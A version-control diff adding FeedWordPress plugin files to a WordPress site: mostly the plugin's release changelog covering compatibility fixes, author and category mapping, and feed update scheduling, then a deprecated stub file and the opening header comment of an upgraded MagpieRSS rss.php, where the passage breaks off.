+	posts. If you want to use one of these plugins together with
+	FeedWordPress, you can now do so by changing the "Formatting Filters"
+	setting from "Protect" to "Expose."
+
+* 	`<atom:source>` ELEMENTS NOW INCLUDED IN ATOM FEED: Atom 1.0 provides
+	a standard method for aggregators to indicate information about the original source of
+	a syndicated post, using the `<atom:source>` element. FeedWordPress now 
+	introduces standard `<atom:source>` elements including the title, homepage, and
+	feed URI of the source from which a syndicated post was syndicated. Cf.
+	<http://www.atomenabled.org/developers/syndication/atom-format-spec.php#element.source>
+
+*	MODULARIZATION OF CODE: The code for different elements of FeedWordPress
+	has been broken out into several modules for easier inspection,
+	documentation, and maintenance of the code.
+
+*	VERSIONING SCHEME CHANGED: FeedWordPress's feature set has proven stable
+	enough that it can now be removed from beta status; a good thing, since
+	I was very quickly running out of version numbers to use. New releases
+	of FeedWordPress will have version numbers based on the date of their
+	release.
+
+Changes from 0.992 to 0.993
+---------------------------
+
+*	WORDPRESS 2.5.1 COMPATIBILITY: FeedWordPress should now be compatible
+	with WordPress 2.5.1.
+
+*	WORDPRESS 2.5 INTERFACE IMPROVEMENTS: FeedWordPress's Dashboard
+	interface has undergone several cosmetic changes that should help it
+	integrate better with the WordPress Dashboard interface in WordPress
+	version 2.5.x.
+
+*	SYNDICATED POSTS CAN BE MARKED AS "PENDING REVIEW": WordPress 2.3 users
+	can now take advantage of WordPress's new "Pending Review" features for
+	incoming syndicated posts. Posts marked as "Pending Review" are not
+	published immediately, but are marked as ready to be reviewed by an
+	Administrator or Editor, who can then choose to publish the post or
+	hold it back. If you want to review syndicated posts from a particular
+	feed, or from all feeds, before they are posted, then use
+	Syndication --> Syndicated Sites --> Edit or Syndication --> Options to
+	change the settings for handling new posts.
+
+*	AWARE OF NEW URI FOR del.icio.us FEEDS: Previous releases of
+	FeedWordPress already automatically split del.icio.us tags up
+	appropriately appropriately when generating categories. (del.icio.us
+	feeds smoosh all the tags into a single `<dc:subject>` element,
+	separated by spaces; FeedWordPress un-smooshes them into multiple
+	categories by separating them at whitespace.) Unfortunately, del.icio.us
+	recently broke the existing behavior by changing host names for their
+	feeds from del.icio.us to feeds.delicious.com. Version 0.993 accounts
+	for the new host name and un-breaks the tag splitting.
+	
+Changes from 0.991 to 0.992
+---------------------------
+*	AUTHOR RE-MAPPING: FeedWordPress now offers considerable control over
+	how author names on a feed are translated into usernames within the
+	WordPress database. When a post by an unrecognized author comes in,
+	Administrators can now specify any username as the default username to
+	assign the post to by setting the option in Syndication --> Options
+	(formerly FeedWordPress only allowed you to assign such posts to user
+	#1, the site administrator). Administrators can also create re-mapping
+	rules for particular feeds (under Syndication --> Syndicated Sites -->
+	Edit), so that (for example) any posts attributed to "Administrator"
+	on the feed <http://praxeology.net/blog/feed/> will be assigned to
+	a user named "Roderick T. Long," rather than a user named
+	"Administrator." These settings also allow administrators to filter out
+	posts by particular users, and to control what will happen when
+	FeedWordPress encounters a post by an unrecognized user on that
+	particular feed.
+	
+*	BUG RELATED TO URIS CONTAINING AMPERSAND CHARACTERS FIXED: A bug in
+	WordPress 2.x's handling of URIs in Blogroll links created problems for
+	updating any feeds whose URIs included an ampersand character, such as
+	Google News RSS feeds and other feeds that have multiple parameters
+	passed through HTTP GET. If you experienced this bug, the most likely
+	effect was that FeedWordPress simply would not import new posts from a
+	feed when instructred to do so, returning a "0 new posts" response. In
+	other cases, it might lead to unpredictable results from feed updates,
+	such as importing posts which were not contained in the feed being
+	syndicated, but which did appear elsewhere on the same website. This bug
+	has, hopefully, been resolved, by correcting for the bug in WordPress.
+
+Changes from 0.99 to 0.991
+--------------------------
+*	WORDPRESS MU COMPATIBILITY: FeedWordPress should now be compatible with
+	recent releases of WordPress MU. Once FeedWordPress is made available
+	as a plugin, each individual blog can choose to activate FeedWordPress
+	and syndicate content from its own set of contributors.
+
+*	DISPLAY OF MAGPIE WARNINGS: A number of MagpieRSS warnings or error
+	messages that were displayed when performing an automatic update are
+	no longer displayed, unless debugging parameters have been explicitly
+	enabled.
+
+*	BUG RELATED TO INTERNATIONAL CHARACTERS IN AUTHOR NAMES FIXED: Due to a
+	subtle incompatability between the way that FeedWordPress generated new
+	user information, and the way that WordPress 2.0 and later added new
+	authors to the database, FeedWordPress might end up creating duplicate
+	authors, or throwing a critical error message, when it encountered
+	authors whose names included international characters. This
+	incompatability has now been fixed; hopefully, authors with
+	international characters in their names should now be handled properly.
+
+*	`<media:content>` BUG IN MAGPIERSS FIXED: A bug in MagpieRSS's handling
+	of namespaced elements has been fixed. Among other things, this bug
+	caused items containing a Yahoo MediaRSS `<media:content>` element (such
+	as many of the feeds produced by wordpress.com) to be represented
+	incorrectly, with only a capital "A" where the content of the post
+	should have been. Feeds containing `<media:content>` elements should now
+	be syndicated correctly.
+
+*	update_feedwordpress PARAMETER: You can now use an HTTP GET parameter
+	(`update_feedwordpress=1`) to request that FeedWordPress poll its feeds
+	for updates. When used together with a crontab or other means of
+	scheduling tasks, this means that you can keep your blog automatically
+	updated on a regular schedule, even if you do not choose to use the
+	cron-less automatic updates option.
+
+*	Some minor interface-related bugs were also fixed.
+
+
+Changes from 0.981 to 0.99
+--------------------------
+Version 0.99 adds several significant new features, fixes some bugs, and
+provides compatability with WordPress 2.2.x and 2.3.x.
+
+*	WORDPRESS 2.2 AND 2.3 COMPATIBILITY: FeedWordPress should now be
+	compatible with WordPress version 2.2 and the upcoming WordPress
+	version 2.3. In particular, it has been tested extensively against
+	WordPress 2.2.3 and WordPress 2.3 Release Candidate 1.
+
+*	AUTOMATIC UPDATES WITHOUT CRON: FeedWordPress now allows you to
+	automatically schedule checks for new posts without using external task
+	scheduling tools such as cron. In order to enable automatic updates, go
+	to **Syndication --> Options** and set "Check for new posts" to
+	"automatically." For details, see "Automatic Feed Updates" in
+	README.text.
+
+	An important side-effect of the changes to the update system is that if
+	you were previously using the cron job and the `update-feeds.php` script
+	to schedule updates, you need to change your cron set-up. The old
+	`update-feeds.php` script no longer exists. Instead, if you wish to use
+	a cron job to guarantee updates on a particular schedule, you should
+	have the cron job fetch the front page of your blog (for example, by
+	using `curl http://www.zyx.com/blog/ > /dev/null`) instead of activating
+	the `update-feeds.php` script. If automatic updates have been enabled,
+	fetching the front page will automatically trigger the update process.
+
+*	INTERFACE REORGANIZATION: All FeedWordPress functions are now located
+	under a top-level "Syndication" menu in the WordPress Dashboard. To
+	manage the list of syndicated sites, manually check for new posts on
+	one or more feeds, or syndicate a new site, you should use the main page
+	under **Syndication**. To change global settings for FeedWordPress,
+	you should use **Syndication --> Options**.
+
+*	FILE STRUCTURE REORGANIZATION: Due to a combination of changing styles
+	for FeedWordPress plugins and lingering bugs in the FeedWordPress admin
+	menu code, the code for FeedWordPress is now contained in two different
+	PHP files, which should be installed together in a subdirectory of your
+	plugins directory named `feedwordpress`. (See README.text for
+	installation and upgrade instructions relating to the change.)
+
+*	MULTIPLE CATEGORIES SETTING: Some feeds use non-standard methods to
+	indicate multiple categories within a single category element. (The most
+	popular site to do this is del.icio.us, which separates tags with a
+	space.) FeedWordPress now allows you to set an optional setting, for any
+	feed which does this, indicating the character or characters used to
+	divide multiple	categories, using a Perl-compatible regular expression.
+	(In the case of del.icio.us feeds, FeedWordPress will automatically use
+	\s for the pattern without your having to do any further configuration.)
+	To turn this setting on, simply use the "Edit" link for the feed that
+	you want to turn it on for.
+
+*	REGULAR EXPRESSION BUG FIXED: Eliminated a minor bug in the regular
+	expressions for e-mail addresses (used in parsing RSS `author`
+	elements), which could produce unsightly error messages for some users
+	parsing RSS 2.0 feeds.
+
+*	DATE / UPDATE BUG FIXED: A bug in date handling was eliminated that may
+	have caused problems if any of (1) WordPress, or (2) PHP, or (3) your
+	web server, or (4) your MySQL server, has been set to use a different
+	time zone from the one that any of the others is set to use. If
+	FeedWordPress has not been properly updating updated posts, or has been
+	updating posts when there shouldn't be any changes for the update, this
+	release may solve that problem.
+
+*	GOOGLE READER BUGS FIXED: A couple of bugs that made it difficult for
+	FeedWordPress to interact with Google Reader public feeds have been
+	fixed. Firstly, if you encountered an error message reading "There was a
+	problem adding the newsfeed. [SQL: ]" when you tried to add the feed,
+	the cause of this error has been fixed. Secondly, if you succeeded in
+	getting FeedWordPress to check a Google Reader feed, only to find that
+	the title of posts had junk squashed on to the end of them, that bug
+	has been fixed too. To fix this bug, you must install the newest version
+	of the optional MagpieRSS upgrade.
+
+*	FILTER PARAMETERS: Due to an old, old bug in WordPress 1.5.0 (which was
+	what was available back when I first wrote the filter interface),
+	FeedWordPress has traditionally only passed one parameter to
+	syndicated_item and syndicated_post filters functions -- an array
+	containing either the Magpie representation of a syndicated item from
+	the feed, or the database representation of a post about to be inserted
+	into the WordPress database. If you needed information about the feed
+	that the item came from, this was accessible only through a pair of
+	global variables, $fwp_channel and $fwp_feedmeta.
+
+	Since it's been a pretty long time since WordPress 1.5.0 was in
+	widespread usage, I have gone ahead and added an optional second
+	parameter to the invocation of the syndicated_item and syndicated_post
+	filters. If you have written a filter for FeedWordPress that uses either
+	of these hooks, you can now register that filter to accept 2 parameters.
+	If you do so, the second parameter will be a SyndicatedPost object,
+	which, among other things, allows you to access information about the
+	feed from which an item is syndicated using the $post->feed and the
+	$post->feedmeta elements (where $post is the name of the second
+	parameter).
+	
+	NOTE THAT THE OLD GLOBAL VARIABLES ARE STILL AVAILABLE, for the time
+	being at least, so existing filters will not break with the upgrade.
+	They should be considered deprecated, however, and may be eliminated in
+	the future.
+
+*	FILTER CHANGE / BUGFIX: the array that is passed as the first argument
+	syndicated_post filters no longer is no longer backslash-escaped for
+	MySQL when filters are called. This was originally a bug, or an
+	oversight; the contents of the array should only be escaped for the
+	database *after* they have gone through all filters. IF YOU HAVE WRITTEN
+	ANY syndicated_post FILTERS THAT PRESUME THE OLD BEHAVIOR OF PASSING IN
+	STRINGS THAT ARE ALREADY BACKSLASH-ESCAPED, UPDATE YOUR FILTERS
+	ACCORDINGLY.
+
+*	OTHER MINOR BUGFIXES AND INTERNAL CHANGES: The internal architecture of
+	FeedWordPress has been significantly changed to make the code more
+	modular and clean; hopefully this should help reduce the number of
+	compatibility updates that are needed, and make them easier and quicker
+	when they are needed.
+
+Changes from 0.98 to 0.981
+--------------------------
+Version 0.981 is a narrowly targeted bugfix and compatibility release, whose
+main purpose is to resolve a major outstanding problem: the incompatibility
+between version 0.98 of WordPress and the recently released WordPress 2.1.
+
+*	WORDPRESS 2.1 COMPATIBILITY: FeedWordPress is now compatible with
+	WordPress 2.1, as well as retaining its existing support for WordPress
+	2.0 and 1.5. Incompatibilities that resulted in database warnings, fatal
+	errors, and which prevented FeedWordPress from syndicating new posts,
+	have been eliminated.
+
+*	RSS-FUNCTIONS.PHP RENAMED TO RSS.PHP: if you use the upgraded MagpieRSS
+	replacement that's included with FeedWordPress, be sure to note that
+	there are now *two* files to upload from the `OPTIONAL/wp-includes`
+	subdirectory in order to carry out the upgrade: rss-functions.php and
+	rss.php. **It is necessary to upload both files**, due to a change in
+	the file naming scheme in WordPress 2.1, and it is necessary to do so
+	whether you are using WordPress 2.1 or not. If you only upload the
+	`rss-functions.php` file as in previous installations you will not have
+	a working copy of MagpieRSS; the rss.php file contains the actual code.
+
+*	DATE BUG AFFECTING SOME PHP INSTALLATIONS RESOLVED: due to a subtle bug
+	in parse_w3cdtf(), some installations of PHP encountered problems with
+	FeedWordPress's attempt to date posts, which would cause some new posts
+	on Atom feeds to be dated as if they had apppeared in 1969 or 1970
+	(thus, effectively, never appearing on front page at all). This bug in
+	the date handling should now be fixed.
+
+*	PHP <?=...?> SHORT FORM ELIMINATED: some installations of PHP do not
+	allow the <?=...?> short form for printing PHP values, which was used
+	extensively in the FeedWordPress interface code. Since this could cause
+	fatal errors for users with the wrong installation of PHP, the short
+	form has been replaced with full PHP echo statements, and is no longer
+	used in FeedWordPress.
+
+*	BETTER USER INTERFACE INTEGRATION WITH WORDPRESS 2.x: Some minor changes
+	have been made to help the FeedWordPress interface pages blend in better
+	with the user interface when running under WordPress 2.x.
+
+* 	GLOBAL CATEGORIES BUG RESOLVED: a bug that prevented some users from
+	setting one or more categories to apply to syndicated posts from all
+	feeds (using the checkbox interface under Options --> Syndication) has
+	been resolved.
+
+Changes from 0.97 to 0.98
+--------------------------
+
+*	WORDPRESS 2.0 COMPATIBILITY: This is a narrowly-targeted release to
+	solve a major outstanding problem. FeedWordPress is now compatible with
+	both WordPress 1.5 and WordPress 2.0. Incompatibilities that caused
+	fatal SQL errors, and a more subtle bug with off-kilter counts of posts
+	under a given category, have been resolved. FeedWordPress tests for
+	database schema using the global $wp_db_version variable (if null, then
+	we presume that we're dealing with WordPress 1.5).
+
+	NOTE: I have **not** fully tested FeedWordPress with WordPress 2.0.
+	Further testing may reveal more bugs. However, you should now be able
+	to get at least basic FeedWordPress functionality up and running.
+
+*	AUTHOR MATCHING: FeedWordPress tests several fields to see if it can
+	identify the author of the post as a user already in the WordPress user
+	database. In previous versions, it tested the user login, the nickname,
+	and tested for "aliases" listed in the Profile (see documentation). FWP
+	now also matches authors on the basis of e-mail address (*if* an e-mail
+	address is present). This is particularly helpful for formats such as
+	RSS 2.0, in which authors are primarily identified by e-mail addresses.
+
+Changes from 0.96 to 0.97
+-------------------------
+
+*	INSTALLATION PROCEDURE: Some of the changes between 0.96 and 0.97
+	require upgrades to the meta-data stored by FeedWordPress to work
+	properly. Thus, if you are upgrading from 0.96 or earlier to 0.97, most
+	FeedWordPress operations (including updates and template functions)
+	WILL BE DISABLED until you run the upgrade procedure. Fortunately,
+	running the upgrade procedure is easy: just go to either Options -->
+	Syndication or Links --> Syndicated in the WordPress Dashboard and press
+	the button.
+
+*	FEED FORMAT SUPPORT: Support has been added for the Atom 1.0 IETF
+	standard. Several other elements are also newly supported
+	(dcterms:created, dcterms:issued, dcterms:modified, dc:identifier,
+	proper support for the RSS 2.0 guid element, the RSS 2.0 author element,
+	the use of Atom author or Dublin Core dc:creator constructs at the feed
+	level to identify the author of individual items, etc.)
+
+	N.B.: full support of several Atom 1.0 features, such as categories
+	and enclosures, requires you to install the optional rss-functions.php
+	upgrade in your wp-includes directory.
+
+*	BUG FIX: Running `update-feeds.php` from command line or crontab
+	returned "I don't syndicate..." errors. It turns out that WordPress
+	sometimes tramples on the internal PHP superglobals that I depended on
+	to determine whether or not the script was being invoked from the
+	command line. This has been fixed (the variables are now checked
+	*before* WordPress can trample them). Note that `update-feeds.php` has
+	been thoroughly overhauled anyway; see below for details.
+
+*	BUG FIX: Duplicate categories or author names. Fixed two bugs that could
+	create duplicate author and/or category names when the name contained
+	either (a) certain international characters (causing a mismatch between
+	MySQL and PHP's handling of lowercasing text), or (b) characters that
+	have a special meaning in regular expressions (causing MySQL errors when
+	looking for the author or category due to regexp syntax errors). These
+	should now be fixed thanks to careful escaping of names that go into
+	regular expressions and careful matching of lowercasing functions
+	(comparing results from PHP only to other results from PHP, and results
+	from MySQL only to other results from MySQL).
+
+*	BUG FIX: Items dated December 31, 1969 should appear less often. The
+	function for parsing W3C date-time format dates that ships with
+	MagpieRSS can only correctly parse fully-specified dates with a
+	fully-specified time, but valid W3C date-time format dates may omit the
+	time, the day of the month, or even the month. Some feeds in the wild
+	date their items with coarse-grained dates, so the optional
+	`rss-functions.php` upgrade now	includes a more flexible parse_w3cdtf()
+	function that will work with both coarse-grained and fully-specified
+	dates. (If parts of the date or the time are omitted, they are filled in
+	with values based on the current time, so '2005-09-10' will be dated to
+	the current time on that day; '2004' will be dated to this day and time
+	one year ago.
+
+	N.B.: This fix is only available in the optional `rss-functions.php`
+	upgrade.
+
+*	BUG FIX: Evil use of HTTP GET has been undone. The WordPress interface
+	is riddled with	inappropriate (non-idempotent) uses of HTTP GET queries
+	(ordinary links	that make the server do something with significant
+	side-effects, such as deleting a post or a link from the database).
+	FeedWordPress did some of this too, especially in places where it aped
+	the WordPress interface	(e.g. the "Delete" links in Links -->
+	Syndicated). That's bad business, though. I've changed the interface so
+	that all the examples of improper side-effects that I can find now
+	require an HTTP POST to take effect. I think I got pretty much
+	everything; if there's anything that I missed, let me know.
+
+	Further reading: [Sam Ruby 2005-05-06: This Stuff Matters](http://www.intertwingly.net/blog/2005/05/06/This-Stuff-Matters)
+
+*	BUG FIX: Categories applied by `cats` setting should no longer prevent
+	category-based filtering from working. In FeedWordPress, you can (1)
+	apply certain categories to all syndicated posts, or all posts from
+	a particular feed; and (2) filter out all posts that don't match one
+	of the categories that are already in the WordPress database (allowing
+	for simple category-based filtering; just load up WordPress with the
+	categories you want to accept, and then tell FeedWordPress not to create
+	new ones). However, the way that (1) and (2) were implemented meant that
+	you couldn't effectively use them together; once you applied a known
+	category to all syndicated posts from a particular feed, it meant that
+	they'd have at least one familiar category (the category or categories
+	you were applying), and that would get all posts past the filter no
+	matter what categories they were originally from.
+	
+	Well, no longer. You can still apply categories to all syndicated posts
+	(using either Syndication --> Options, or the feed-level settings under
+	Links --> Syndicated). But these categories are not applied to the post
+	until *after* it has already passed by the "familiar categories" filter.
+	So now, if you want, you can do category filtering and *then* apply as
+	many categories as you please to all and only posts that pass the filter.
+
+*	BUG FIX: Other minor typos and HTML gaffes were fixed along the way.
+
+*	PERFORMANCE: get_feed_meta() no longer hits the database for information
+	on every call; it now caches link data in memory, so FeedWordPress only
+	goes to the database once for each syndicated link. This may
+	substantially improve performance if your database server resources
+	are tight and your templates make a lot of use of custom settings from
+	get_feed_meta().
+
+*	API CHANGE: Link ID numbers, rather than RSS URIs, are now used to
+	identify the feed from which a post is syndicated when you use template
+	functions such as get_feed_meta(). The practical upshot of this is you
+	can switch feeds, or change the feed address for a particular syndicated
+	site, without breaking your templates for all the posts that were
+	syndicated from the earlier URI.
+
+*	API CHANGE: if you have plugins or templates that make use of the
+	get_feed_meta() function or the $fwp_feedmeta global, note that the
+	data formerly located under the `uri` and `name` fields is now located
+	under the `link/uri` field and the `link/name` field, respectively. Note
+	also that you can access the link ID number for any given feed under the
+	global $fwp_feedmeta['link/id'] (in plugins) or 
+	get_feed_meta('link/id') (in a template in post contexts).
+	
+*	FEATURE: the settings for individual feeds can now be edited using a
+        humane interface (where formerly you had to tweak key-value pairs in the
+	Link Notes section). To edit settings for a feed, pick the feed that you
+	want under Links --> Syndicated and click the Edit link.
+
+*	FEATURE: The "Unsubscribe" button (formerly "Delete") in Links -->
+	Syndicated now offers three options for unsubscribing from a feed: (1)
+	turning off the subscription without deleting the feed data or affecting
+	posts that were syndicated from the feed (this works by setting the Link
+	for the feed as "invisible"); (2) deleting the feed data and all of the
+	posts that were syndicated from the feed; or (3) deleting the feed data
+	and *keeping* the posts that were syndicated from the feed
+	setting the Link to "Invisible" (meaning that it will not be displayed
+	in lists of the site links on the front page, and it won't be checked
+	for updates; (2) deleting the Link and all of the posts that were
+	syndicated from its feed; or (3) deleting the feed data but keeping the
+	posts that were syndicated (which will henceforward be treated as if
+	they were local rather than syndicated posts). (Note that (1) is usually
+	the best option for aggregator sites, unless you want to clean up the
+	results of an error or a test.)
+
+*	FEATURE / BUG FIX: If you have been receiving mysterious "I don't
+	syndicate...", or "(local) HTTP status code was not 200", or "(local)
+	transport error - could not open socket", or "parse error - not well
+	formed" errors, then this update may solve your problems, and if it does
+	*not* solve them, it will at least make the reasons for the problems
+	easier to understand. That's because I've overhauled the way that
+	FeedWordPress goes about updating feeds.
+
+	If you use the command-line PHP scripting method to run scheduled
+	updates, then not much should change for you, except for fewer
+	mysterious errors. If you have done updates by sending periodic HTTP
+	requests to <http://your-blog.com/path/wp-content/update-feeds.php>,
+	then the details have changed somewhat; mostly in such a way as to make
+	things easier on you. See the README file or online documentation on
+	Staying Current for the details.
+
+*	FEATURE: FeedWordPress now features a more sophisticated system for
+	timed updates. Instead of polling *every* subscribed feed for updates
+	*each* time `update-feeds.php` is run, FeedWordPress now keeps track of
+	the last time it polled each feed, and only polls them again after a
+	certain period of time has passed. The amount of time is normally set
+	randomly for each feed, in a period between 30 minutes and 2 hours (so
+	as to stagger updates over time rather than polling all of the feeds at once. However, the length of time between updates can also be set
+	directly by the feed, which brings us to ...
+	
+*	FEATURE: FeedWordPress now respects the settings in the `ttl` and
+	Syndication Module RSS elements. Feeds with these elements set will not
+	be polled any more frequently than they indicate with these feeds unless
+	the user manually forces FeedWordPress to poll the feed (see Links -->
+	Syndicated --> Edit settings).
+
+Changes from 0.95 to 0.96
+-------------------------
+
+*	FEATURE: support has been added for enclosures in RSS 2.0 and Atom
+	0.6+ newsfeeds. WordPress already supports adding enclosures to an
+	item; FeedWordPress merely gets the information on the enclosure
+	from the feed it is syndicating and plugs that information directly
+	into the WordPress database so that (among other things) that post
+	will have its enclosure listed in your blog's RSS 2 newsfeed.
+
+	Note that enclosure support requires using the optional MagpieRSS
+	upgrade (i.e., replacing your `wp-includes/rss-functions.php` with
+	`OPTIONAL/wp-includes/rss-functions.php` from the FWP archive)
+
+*	FEATURE: for completeness's sake, there is now a feed setting,
+	`hardcode url`, that allows you to set the URI for the front page
+	of a contributor's website manually (that is, prevent it from being
+	automatically updated from the feed channel link on each update). To
+	set the URI manually, put a line like this in the Link Notes section
+	of a feed:
+	
+		hardcode url: yes
+	
+	You can also instruct FeedWordPress to use hardcoded URIs by default
+	on all feeds using Options --> Syndication
+
+*	FEATURE: by default, when FeedWordPress finds new syndicated posts,
+	it (1) publishes them immediately, (2) turns comments off, and (3)
+	turns trackback / pingback pings off. You can now alter all three
+	default behaviors (e.g., to allow pings on syndicated posts, or to
+	send newly-syndicated posts to the draft pile for moderation) using
+	Options --> Syndication
+
+
+Changes from 0.91 to 0.95
+-------------------------
+
+*	BUG FIX: Fixed an obscure bug in the handling of categories:
+	categories with trailing whitespace could cause categories with
+	duplicate names to be created. This no longer happens. While I was
+	at it I tightened up the operation of
+	FeedWordPress::lookup_categories() a bit in general.
+
+*	FEATURE DEPRECATED: the feed setting `hardcode categories` is now
+	deprecated in favor of `unknown categories` (see below), which
+	allows you to strip off any syndication categories not already in
+	your database using `unknown categories: default` or `unknown
+	categories: filter`. If you have `hardcode categories: yes` set on a
+	feed, this will be treated as `unknown categories: default` (i.e.,
+	no new categories will be added, but if a post doesn't match any of
+	the categories it will be added in the default category--usually
+	"Uncategorized" or "General").
+
+*	FEATURE: You can now set global defaults as to whether or not
+	FeedWordPress will update the Link Name and Link Description
+	settings for feeds automatically from the feed title and feed
+	tagline. (By default, it does, as it has in past versions.) Whether
+	this behavior is turned on or off, you can still override the
+	default behavior using feed settings of `hardcode name: yes`,
+	`hardcode name: no`, `hardcode description: yes`, or `hardcode
+	description: no`.
+
+*	FEATURE: Users can now provide one or several "aliases" for an
+	author, just as they can for a category. For example, to make
+	FeedWordPress treat posts by "Joseph Cardinal Ratzinger" and "Pope
+	Benedict XVI" as by the same author, edit the user profile for Pope
+	Benedict XVI and add a line like this to the "User profile" field:
+	
+		a.k.a.: Joseph Cardinal Ratzinger
+	
+	You can add several aliases, each on a line by itself. You can also
+	add any other text you like to the Profile without interfering with
+	the aliases.
+	
+*	FEATURE: Users can now choose how to handle syndicated posts that
+	are in unfamiliar categories or by unfamiliar authors (i.e.,
+	categories or authors whose names are not yet in the WordPress
+	database). By default, FeedWordPress will (as before) create a new
+	category (or new author) and use it for the current post and any
+	future posts. This behavior can be changed, either for all feeds or
+	for one or another particular feed.
+	
+	There are now three different options for an unfamiliar author: (1)
+	FeedWordPress can create a new author account and attribute the
+	syndicated post to the new account; (2) FeedWordPress can attribute
+	the post to an author if the author's name is familiar, and to a
+	default author (currently, this means the Site Administrator
+	account) if it is not; (3) FeedWordPress can drop posts by
+	unfamiliar authors and syndicate only posts by authors who are
+	already in the database.
+	
+	There are, similarly, two different options for an unfamiliar
+	category: (1) FeedWordPress can create new categories and place the
+	syndicated post in them; (2) FeedWordPress can drop the unfamiliar
+	categories and place syndicated posts only in categories that it is
+	already familiar with. In addition, FeedWordPress 0.95 lets you
+	choose whether posts that are in *no* familiar categories should be
+	syndicated (and placed in the default category for the blog) or
+	simply dropped.
+	
+	You can set the default behavior for both authors and categories
+	using the settings in Options --> Syndication. You can also set
+	different behavior for specific feeds by adding the `unfamiliar
+	author` and / or `unfamiliar categories` settings to the Link Notes
+	section of a feed:
+	
+		unfamiliar author: (create|default|filter)
+		unfamiliar categories: (create|default|filter)
+	
+	A setting of `unfamiliar author: create` will make FeedWordPress
+	create new authors to match unfamiliar author names *for this feed
+	alone*. A setting of `unfamiliar author: default` will make it
+	assign posts from unfamiliar authors to the default user account. A
+	setting of `unfamiliar author: filter` will cause all posts (from
+	this feed alone) to be dropped unless they are by an author already
+	listed in the database. Similiarly, `unfamiliar categories: create`
+	will make FeedWordPress create new categories to match unfamiliar
+	category names *for this feed alone*; `unfamiliar categories:
+	default` will cause it to drop any unfamiliar category names; and
+	`unfamiliar categories: filter` will cause it to *both* drop any
+	unfamiliar category names *and* to only syndicate posts that are
+	placed in one or more familiar categories.
+	
+	These two new features allow users to do some coarse-grained
+	filtering without having to write a PHP filter. Specifically, they
+	offer an easy way for you to filter feeds by category or by author.
+	Suppose, for example, that you only wanted to syndicate posts that
+	your contributors place in the "Llamas" category. You could do so by
+	setting up your installation of WordPress so that the only category
+	in the database is "Llamas," and then use Options --> Syndication to
+	set "Unfamiliar categories" to "don't create new categories and
+	don't syndicate posts unless they match at least one familiar
+	category". Now, when you update, only posts in the "Llamas" category
+	will be syndicated by FeedWordPress.
+	
+	Similarly, if you wanted to filter one particular feed so that only
+	posts by (for example) the author "Earl J. Llama" were syndicated to
+	your site, you could do so by creating a user account for Earl J.
+	Llama, then adding the following line to the settings for the feed
+	in Link Notes:
+	
+		unfamiliar author: filter
+	
+	This will cause any posts from this feed that are not authored by
+	Earl J. Llama to be discarded, and only the posts by Earl J. Llama
+	will be syndicated. (If the setting is used on one specific feed, it
+	will not affect how posts from other feeds are syndicated.)
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/MagpieRSS-upgrade/rss-functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/MagpieRSS-upgrade/rss-functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/MagpieRSS-upgrade/rss-functions.php	(revision 44)
@@ -0,0 +1,4 @@
+<?php
+// Deprecated.  Use rss.php instead.
+require_once (ABSPATH . WPINC . '/rss.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/MagpieRSS-upgrade/rss.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/MagpieRSS-upgrade/rss.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/MagpieRSS-upgrade/rss.php	(revision 44)
@@ -0,0 +1,2044 @@
+<?php
+/* Project:	MagpieRSS: a simple RSS integration tool
+ * File:	A compiled file for RSS syndication
+ * Author:	Kellan Elliot-McCrea <kellan@protest.net>
+ *		WordPress development team <http://www.wordpress.org/>
+ *		Charles Johnson <technophilia@radgeek.com>
+ * Version:	2009.0618
+ * License:	GPL
+ *
+ * Provenance:
+ *
+ * This is a drop-in replacement for the `rss-functions.php` provided with the
+ * WordPress 1.5 distribution, which upgrades the version of MagpieRSS from 0.51
+ * to 0.8a. The update improves handling of character encoding, supports
+ * multiple categories for posts (using <dc:subject> or <category>), supports
+ * Atom 1.0, and implements many other useful features. The file is derived from
+ * a combination of (1) the WordPress development team's modifications to
+ * MagpieRSS 0.51 and (2) the latest bleeding-edge updates to the "official"
+ * MagpieRSS software, including Kellan's original work and some substantial
+ * updates by Charles Johnson. All possible through the magic of the GPL. Yay
+ * for free software!
+ *
+ * Differences from the main branch of MagpieRSS:
+ *
+ * 1.	Everything in rss_parse.inc, rss_fetch.inc, rss_cache.inc, and
+ *	rss_utils.inc is included in one file.
+ *
+ * 2.	MagpieRSS returns the WordPress version as the user agent, rather than
+ *	Magpie
+ *
+ * 3.	class RSSCache is a modified version by WordPress developers, which
+ * 	caches feeds in the WordPress database (in the options table), rather
+ * 	than writing external files directly.
+ *
+ * 4.	There are two WordPress-specific functions, get_rss() and wp_rss()
+ *
+ * Differences from the version of MagpieRSS packaged with WordPress:
+ *
+ * 1.	Support for translation between multiple character encodings. Under
+ *	PHP 5 this is very nicely handled by the XML parsing library. Under PHP
+ *	4 we need to do a little bit of work ourselves, using either iconv or
+ *	mb_convert_encoding if it is not one of the (extremely limited) number
+ *	of character sets that PHP 4's XML module can handle natively.
+ *
+ * 2.	Numerous bug fixes.
+ *
+ * 3.	The parser class MagpieRSS has been substantially revised to better
+ *	support popular features such as enclosures and multiple categories,
+ *	and to support the new Atom 1.0 IETF standard. (Atom feeds are
+ *	normalized so as to make the data available using terminology from
+ *	either Atom 0.3 or Atom 1.0. Atom 0.3 backward-compatibility is provided
+ *	to allow existing software to easily begin accepting Atom 1.0 data; new
+ *	software SHOULD NOT depend on the 0.3 terminology, but rather use the
+ *	normalization as a convenient way to keep supporting 0.3 feeds while
+ *	they linger in the world.)
+ *
+ *	The upgraded MagpieRSS can also now handle some content constructs that
+ *	had not been handled well by previous versions of Magpie (such as the
+ *	use of namespaced XHTML in <xhtml:body> or <xhtml:div> elements to
+ *	provide the full content of posts in RSS 2.0 feeds).
+ *
+ *	Unlike previous versions of MagpieRSS, this version can parse multiple
+ *	instances of the same child element in item/entry and channel/feed
+ *	containers. This is done using simple counters next to the element
+ *	names: the first <category> element on an RSS item, for example, can be
+ *	found in $item['category'] (thus preserving backward compatibility); the
+ *	second in $item['category#2'], the third in $item['category#3'], and so
+ *	on. The number of categories applied to the item can be found in
+ *	$item['category#']
+ *
+ *	Also unlike previous versions of MagpieRSS, this version allows you to
+ *	access the values of elements' attributes as well as the content they
+ *	contain. This can be done using a simple syntax inspired by XPath: to
